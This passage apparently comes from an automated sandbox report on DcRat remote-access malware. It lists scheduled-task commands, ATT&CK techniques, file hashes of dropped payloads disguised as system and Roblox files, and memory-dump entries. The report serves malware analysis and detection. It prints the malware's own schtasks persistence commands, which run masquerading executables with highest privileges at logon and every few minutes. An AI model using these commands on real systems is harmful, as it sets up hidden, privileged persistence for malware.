- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Internet Explorer\SIGNUP\conhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:2532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\SIGNUP\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2564

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2948
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding F6D6D385920B5FCC4ED67B6FF66A425C
  2⤵
  - Loads dropped DLL
  PID:5460
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 0A5EE7CDB0EDCBF3920D786B784B0450
  2⤵
  - Loads dropped DLL
  PID:5944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\SIGNUP\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Defender\OfficeClickToRun.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Defender\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\DriversavessessionDlldhcp\smss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\DriversavessessionDlldhcp\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\DriversavessessionDlldhcp\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Users\Default\My Documents\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default\My Documents\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Users\Default\My Documents\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Windows\Panther\actionqueue\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\Panther\actionqueue\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Windows\Panther\actionqueue\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\AppData\Local\dwm.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:5100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:5332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Local\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:5696

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
PID:1376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RobloxR" /sc MINUTE /mo 12 /tr "'C:\DriversavessessionDlldhcp\Roblox.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:4456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Roblox" /sc ONLOGON /tr "'C:\DriversavessessionDlldhcp\Roblox.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RobloxR" /sc MINUTE /mo 13 /tr "'C:\DriversavessessionDlldhcp\Roblox.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:6072

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:6392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\DriversavessessionDlldhcp\Roblox.exe

Filesize
1.8MB

MD5
26e388ea32df635cd424decb2bff563e

SHA1
510ac8024dd524f7ebc92210b189804921fd29ee

SHA256
cf90b0e7318a9e4e3cbaeebd3f82f823e7754a35e689979fabd18e785383dc8e

SHA512
b59ecb856064e3d590ec3d0f17410195bf08cd6a2b0bb091c92c9200c3e163f5b0e918b09f7ff0f51990dae49ba27ea566862353647ee59ae9ea9c192faf79d1

Download Submit
C:\DriversavessessionDlldhcp\exFbRiwQoowToPhSTKSA9iYE.bat

Filesize
94B

MD5
1689f0727433844f3250241e9e030427

SHA1
bac7909c2a8e7a666edb56a7df07650701d9c013

SHA256
fa50cc35b05b88a91212dba6ca7cb348368309e9fdfa16273d1adc659f42cdab

SHA512
d814a8015dcce43a0128c7a5c34998a9a7df03231c5c2b1df169e8986de6e8ec1e77692756ada79f8355abaa50c35ccf5d5f2eaa13c76e02a4dd582ce9c51528

Download Submit
C:\DriversavessessionDlldhcp\ghJPtatrYDLygnNWh9dEZv.vbe

Filesize
239B

MD5
3492e48fb2e9fb2bfc18658e3d8f88bd

SHA1
34cec8222aedc8baf774aa863a041a23971c7631

SHA256
c0857f8c479b8fa90402a735a24b312819cdcec5c69b90bd6dafc175dbfd3b2e

SHA512
a9923e942d86d3e29a52d421ceb96c8cef8aae769cbb18a65e93793e444cf7712c52aaba3a5da2f06d2ee5c3eef42d6972457b13aa06a060eaf9b26369d0efc9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3a6bad9528f8e23fb5c77fbd81fa28e8

SHA1
f127317c3bc6407f536c0f0600dcbcf1aabfba36

SHA256
986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

SHA512
846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a8e8360d573a4ff072dcc6f09d992c88

SHA1
3446774433ceaf0b400073914facab11b98b6807

SHA256
bf5e284e8f95122bf75ead61c7e2b40f55c96742b05330b5b1cb7915991df13b

SHA512
4ee5167643d82082f57c42616007ef9be57f43f9731921bdf7bca611a914724ad94072d3c8f5b130fa54129e5328ccdebf37ba74339c37deb53e79df5cdf0dbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
28d4235aa2e6d782751f980ceb6e5021

SHA1
f5d82d56acd642b9fc4b963f684fd6b78f25a140

SHA256
8c66720f953e82cfbd8f00543c42c0cf77c3d97787ec09cb3e1e2ba5819bd638

SHA512
dba1bd6600f5affcfdc33a59e7ac853ee5fdfafb8d1407a1768728bd4f66ef6b49437214716b7e33e3de91d7ce95709050a3dab4354dd62acaf1de28107017a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34d8a050f4be370f5f7fd012097156d4

SHA1
99ce7ecd93da2d69b9f8b141aafe699aec18fa06

SHA256
95bd392285e529c489b49abd76194f8e2672a4081d88ab12a74f4e0fd117a36e

SHA512
23238590322292000696a015e0d0a9ece73fa005d0663353eefa967882af660662f85f66cbb0cf6bb04fba406ac98dbeabdbbc17c2d95f7d5fdd19cc0a35fcb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5VC6w5ope6

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe

Filesize
2.2MB

MD5
7529e4004c0fe742df146464e6aeadb0

SHA1
ae7341ee066b31de5a1a1a25851b70ced41de13f

SHA256
a80a68f1b63391ba9a91870173a0db962c73950c191594750e705f1d1c77be81

SHA512
d50112143b1a2acf918606e2f0a1d01fc2d5ed3e2e4ecdcdb2405669af2444a3274c7e39461c723d675e230f8cb72be351cdb1b8e31b9f5b5517a03c66f47f27

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe

Filesize
1.9MB

MD5
7d4b84a8c3d14cb3d1bb864719463404

SHA1
544cf51aec717c63552f0fdf97d364b1b62a7a0c

SHA256
3aa0597b5d053594cce551ac5d8a9bc83059c3d55ef024dc7dff59c73a88e663

SHA512
d962cbe9998d2e04a9bbd2ab1a97535409015b183acc0d61d49f6b696eac046e7c41028b55c8d33c3b6c1dacbf3704771dbdf911b06c8e9c247b49d2c6864a29

Download Submit
C:\Users\Admin\AppData\Local\Temp\Frage build.exe

Filesize
2.1MB

MD5
11fdce42422f8ed518fedf290f5bfc3c

SHA1
f18a4ad694af5ba50a7697b4cb66308454c555d9

SHA256
b62b6592549d56b573efdd053c73e37542742301fffbeb786a60c227564b97a3

SHA512
4e1c700ed33db9b29fe3545efeb7616ccf9c86b0716ee684d5375097651b44b3aab99302e6e159bb3f088b4cb59334aa473864d3d8b43a583b3cbfd9a12d16ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\H66yQta0TT.bat

Filesize
217B

MD5
cfbf446503ad0bc1f3edf2fb6bfa8a91

SHA1
b40163675a84b89ed8d4ed5776164cbd400352c1

SHA256
3aa2809dc5651b4ac53d99b3fea07d8fd7162135fe7898202212af65504e7988

SHA512
08d680427fe5d9414829a50ba2ca8bfbca030c1299ed7c3efa860c75783aa871fc11c3ea203649b87db265664af7b4be0ee40e5b8e71c1b94a934068b1336d38

Download Submit
C:\Users\Admin\AppData\Local\Temp\Result.exe

Filesize
2.6MB

MD5
170b43350048ed4b6fca0e50a0178621

SHA1
db863b7b04a7c58baa9120e2f184517ed27a7252

SHA256
248856f33f34ee7f97fd2a83264d4c85251f06bce6d5761d416405a33849079b

SHA512
e8dc07cf863d01e5ae18b44432cbf3ae54cd24f12d00981a5b5df51684039783339f7b43f79816d25790210654b3da17eae4687f2a3b34b6e2570c5ce990bde7

Download Submit
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe

Filesize
797KB

MD5
36b62ba7d1b5e149a2c297f11e0417ee

SHA1
ce1b828476274375e632542c4842a6b002955603

SHA256
8353c5ace62fda6aba330fb3396e4aab11d7e0476f815666bd96a978724b9e0c

SHA512
fddec44631e7a800abf232648bbf417969cd5cc650f32c17b0cdc12a0a2afeb9a5dbf5c1f899bd2fa496bd22307bfc8d1237c94920fceafd84f47e13a6b98b94

Download Submit
C:\Users\Admin\AppData\Local\Temp\VV0y5VVFcF

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Local\Temp\W7R62qv1zz

Filesize
20KB

MD5
a603e09d617fea7517059b4924b1df93

SHA1
31d66e1496e0229c6a312f8be05da3f813b3fa9e

SHA256
ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

SHA512
eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Youtube.exe

Filesize
8.7MB

MD5
d25ebdfc04bdadea74017fa72f90781f

SHA1
f7278c4d04fc4db888368e0245d7607d8bcbb557

SHA256
9f30de67eacb0138506eff3c67dc9c52b0e923416dc75722ac90b12210b5383f

SHA512
77cca4e741a6f96cc35a3ce55c3f899f902719c8ee29c84a6f5dcb57e9d6b8f85cad2042486ff907046f3c87673f5a34da73730256822d090ae764ba21064e71

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jvtdtlfq.fms.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\faildsfsdf.exe

Filesize
485KB

MD5
414b2c1de3b01b9f2cb8a3921f0cbd1f

SHA1
9eb52184bf86a64efb713d65927eb03052869abc

SHA256
185bcd14ce4b5531c75d57d2dc996cf6e69d46121a1cd83b6ffb746ccd36938f

SHA512
b47b105ece11cbc660c3a61ac1f7012fcbbaee77610ab4f4937111d224d8f6d8682bda720e0ee488c2deca5f0d8ed3a46c000eb9479c864f349758beaeeb7859

Download Submit
C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi

Filesize
30.1MB

MD5
0e4e9aa41d24221b29b19ba96c1a64d0

SHA1
231ade3d5a586c0eb4441c8dbfe9007dc26b2872

SHA256
5bfb6f3ab89e198539408f7e0e8ec0b0bd5efe8898573ec05b381228efb45a5d

SHA512
e6f27aecead72dffecbeaad46ebdf4b1fd3dbcddd1f6076ba183b654e4e32d30f7af1236bf2e04459186e993356fe2041840671be73612c8afed985c2c608913

Download Submit
C:\Users\Admin\AppData\Local\Temp\solara.exe

Filesize
1.8MB

MD5
1797c0e37f4b9dd408cbf0d7bfcb7c95

SHA1
10df695351ac6074e23a3d3b4bd31a17c10fd614

SHA256
8a1b256aa65d666d8b566576c86065bb9401483f705bce0c597fc27b9cde2cfb

SHA512
52289cb15c7b2c5a600da9e9894f5dbc66566eff9c864488dfd8d318800fbbf8622a3dad79f7f5aec6d77badfc0707010ffffe521eef8f218be33e07092010b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\y99unzAo9v

Filesize
114KB

MD5
54a228e3c794af5c4518c7f16bb74cd6

SHA1
c456c207c80cef421aba3c7dd939013ca90e972d

SHA256
94bd8365e5ee537a4922f4032cb28cd0357db8a3eaa522cc85ba19d70935ba1d

SHA512
331b0a35ceedfb469b74de605997e7d11ab604761e9ae93e9ee8d183849dc9651e3d7c5c0773835a89a8098554a78d9e47b9b2f9c7c2979b5e3958399c940900

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
32KB

MD5
c1a4a4340b4aaf6b72487d4d011fdee9

SHA1
c1a25eeeb340d226fa996fd8b6e9559d3112b4c5

SHA256
858259d792411041f71a344c219b120bd494de51529259dac6846ae8e7e9bc19

SHA512
76316cb27ac8729ab8f972229c25e521213295c2a6b21b073cb9b258b056e85facd86754abbf1a7e89b7516a1a184b6826a078ddb56f4c9bb2de5c3844929f37

Download Submit
C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\4F0VCIGGZPxdNa.bat

Filesize
46B

MD5
83a7f739f51f1acd83f143afa6ec1533

SHA1
2f653f906842f8f507d02f81550eb26a35f38acc

SHA256
5faae2c746c71afcb3dc0b9eb4fbf6087786936484f62ee08412a94c13642545

SHA512
c4487c0ca0e630ee8daf2443c290fac2d0de60b0ce36c28e6451cfd66b2b81669a87726da31d4e172d2794a0345bbe9111402486b6e28d941fb6d124be604793

Download Submit
C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\Refcrt.exe

Filesize
1.5MB

MD5
9cf4017a8383ae846a908c79a28354bf

SHA1
adbe6a02b90147431e80fc38100de42d88dd765a

SHA256
bc7ea8011a8098690cf8976f14533fdbd5a0532818ed30365ef5412a256516f2

SHA512
490a19bdd35657a50e72f2c133c8d731cf1cccd14dc4ce9648d22f486540edd9f7448eb4d2840d52bd7601c52036572937b4c79bc32206eb98b7dc76765d1f00

Download Submit
C:\Users\Admin\AppData\Roaming\bridgechainsavesmonitor\aImCrmZyeD77A2ANdrk.vbe

Filesize
221B

MD5
1a3448b944b91cebda73adc5064e6286

SHA1
4f8716c6e56a675944a5f0f250947c8d45a362e1

SHA256
5b489dab912970289bd0bfb41928010990288e7a3ec8acb18f637e670c50e0e5

SHA512
b355ffb98b0744cc6a1baaff7645c862344b12cfc251a1a243da666f7d41f8eea8b6a179faaeb600ffd4b4ce51b8c3f942c0cc6bd06875a4b80440468ce63795

Download Submit
C:\Windows\Installer\MSI9A0.tmp

Filesize
122KB

MD5
9fe9b0ecaea0324ad99036a91db03ebb

SHA1
144068c64ec06fc08eadfcca0a014a44b95bb908

SHA256
e2cce64916e405976a1d0c522b44527d12b1cba19de25da62121cf5f41d184c9

SHA512
906641a73d69a841218ae90b83714a05af3537eec8ad1d761f58ac365cf005bdd74ad88f71c4437aaa126ac74fa46bcad424d17c746ab197eec2caa1bd838176

Download Submit
C:\Windows\Installer\MSIC42.tmp

Filesize
211KB

MD5
a3ae5d86ecf38db9427359ea37a5f646

SHA1
eb4cb5ff520717038adadcc5e1ef8f7c24b27a90

SHA256
c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74

SHA512
96ecb3bc00848eeb2836e289ef7b7b2607d30790ffd1ae0e0acfc2e14f26a991c6e728b8dc67280426e478c70231f9e13f514e52c8ce7d956c1fad0e322d98e0

Download Submit
C:\Windows\xdwd.dll

Filesize
136KB

MD5
16e5a492c9c6ae34c59683be9c51fa31

SHA1
97031b41f5c56f371c28ae0d62a2df7d585adaba

SHA256
35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66

SHA512
20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6

Download Submit
C:\winNet\ComContainerbrowserRefRuntime.exe

Filesize
1.6MB

MD5
e41ef428aaa4841f258a38dc1cc305ef

SHA1
edf3a17831e013b74479e2e635b8cf0c1b3787ce

SHA256
6c02076f8f42678e0576a71ff170ed84b203a0e5e9a31bda9aed912822f25995

SHA512
a92a30077601aaf34a05ceaab5738ad2aa585498868bb6b675dd43d332c46424c859ed19cf0159b04fcf7b4da3b773e37ca064e8975a43964cc6a654661f46bd

Download Submit
C:\winNet\rsH0xIUsPk2E2Mq2a4QwbDGWD6K8lz.bat

Filesize
92B

MD5
81c6a00913630266cef3d07065db9b1f

SHA1
db6260ef38563ec05f910277af358fbaa2387154

SHA256
5898912e30972853e1b8ee628e9c300f25c5959d11e6b91b6454ddc19e328cf4

SHA512
a643512ca118e8745ae8aafb010bb21099ba0a358eb8a951471cc5092e14c51ffafae0c288d84ddcda5eaad2a3e93b30ecd205bfe0938a21f05e6c87ead3cb36

Download Submit
C:\winNet\we9fgyC144zVOkGk.vbe

Filesize
215B

MD5
aa1a085aba94a5fc38c26b79a2217336

SHA1
f847af2aec7fd56fe8734ccb51d8027b9b4e817b

SHA256
f66e935da9738cbddac905b9b55a2cfe5003aab76863b180a28e42238cbaa545

SHA512
75f66a848dc09ea859d7ddad59f6d7cac148936340eef14c4ad6cec7d4d92cf0c32bdaf911c0d943e7c478445118852180bdaceb72d9d4aae919f99cd6538981

Download Submit
memory/1148-114-0x000000001BE40000-0x000000001BE50000-memory.dmp

Filesize
64KB

Download
memory/1148-117-0x000000001BEC0000-0x000000001BECA000-memory.dmp

Filesize
40KB

Download
memory/1148-108-0x00000000004E0000-0x0000000000664000-memory.dmp

Filesize
1.5MB

Download
memory/1148-109-0x000000001B780000-0x000000001B78E000-memory.dmp

Filesize
56KB

Download
memory/1148-110-0x000000001B8B0000-0x000000001B8CC000-memory.dmp

Filesize
112KB

Download
memory/1148-112-0x000000001BE10000-0x000000001BE18000-memory.dmp

Filesize
32KB

Download
memory/1148-113-0x000000001BE20000-0x000000001BE36000-memory.dmp

Filesize
88KB

Download
memory/1148-115-0x000000001BE50000-0x000000001BE5E000-memory.dmp

Filesize
56KB

Download
memory/1148-118-0x000000001BED0000-0x000000001BEDC000-memory.dmp

Filesize
48KB

Download
memory/1148-111-0x000000001BE60000-0x000000001BEB0000-memory.dmp

Filesize
320KB

Download
memory/1148-116-0x000000001BEB0000-0x000000001BEBE000-memory.dmp

Filesize
56KB

Download
memory/2344-82-0x0000000000400000-0x000000000069B000-memory.dmp

Filesize
2.6MB

Download
memory/2812-564-0x000000001BF60000-0x000000001BF6C000-memory.dmp

Filesize
48KB

Download
memory/2812-907-0x00007FF8E5C93000-0x00007FF8E5C95000-memory.dmp

Filesize
8KB

Download
memory/2812-896-0x000000001C220000-0x000000001C3C9000-memory.dmp

Filesize
1.7MB

Download
memory/2812-22-0x00007FF8E5C93000-0x00007FF8E5C95000-memory.dmp

Filesize
8KB

Download
memory/2812-393-0x000000001C220000-0x000000001C3C9000-memory.dmp

Filesize
1.7MB

Download
memory/2812-1085-0x000000001C220000-0x000000001C3C9000-memory.dmp

Filesize
1.7MB

Download
memory/2812-578-0x000000001BF90000-0x000000001BFAE000-memory.dmp

Filesize
120KB

Download
memory/2812-21-0x0000000000C50000-0x0000000000CD0000-memory.dmp

Filesize
512KB

Download
memory/2812-563-0x000000001CDD0000-0x000000001CE46000-memory.dmp

Filesize
472KB

Download
memory/3024-77-0x0000000000400000-0x0000000000CC7000-memory.dmp

Filesize
8.8MB

Download
memory/3044-466-0x000000001B8C0000-0x000000001B8D8000-memory.dmp

Filesize
96KB

Download
memory/3044-611-0x000000001C130000-0x000000001C2D9000-memory.dmp

Filesize
1.7MB

Download
memory/3044-464-0x000000001B8A0000-0x000000001B8BC000-memory.dmp

Filesize
112KB

Download
memory/3044-468-0x0000000002E80000-0x0000000002E8C000-memory.dmp

Filesize
48KB

Download
memory/3044-459-0x0000000000B60000-0x0000000000D3A000-memory.dmp

Filesize
1.9MB

Download
memory/3044-462-0x0000000002E70000-0x0000000002E7E000-memory.dmp

Filesize
56KB

Download
memory/3952-402-0x0000000000160000-0x00000000002F6000-memory.dmp

Filesize
1.6MB

Download
memory/3952-420-0x000000001B0F0000-0x000000001B299000-memory.dmp

Filesize
1.7MB

Download
memory/4312-626-0x000000001D410000-0x000000001D5B9000-memory.dmp

Filesize
1.7MB

Download
memory/4312-496-0x000000001D940000-0x000000001DE68000-memory.dmp

Filesize
5.2MB

Download
memory/4312-460-0x000000001CF40000-0x000000001D102000-memory.dmp

Filesize
1.8MB

Download
memory/4460-101-0x00000000058A0000-0x0000000005E44000-memory.dmp

Filesize
5.6MB

Download
memory/4460-92-0x00000000008F0000-0x00000000009BE000-memory.dmp

Filesize
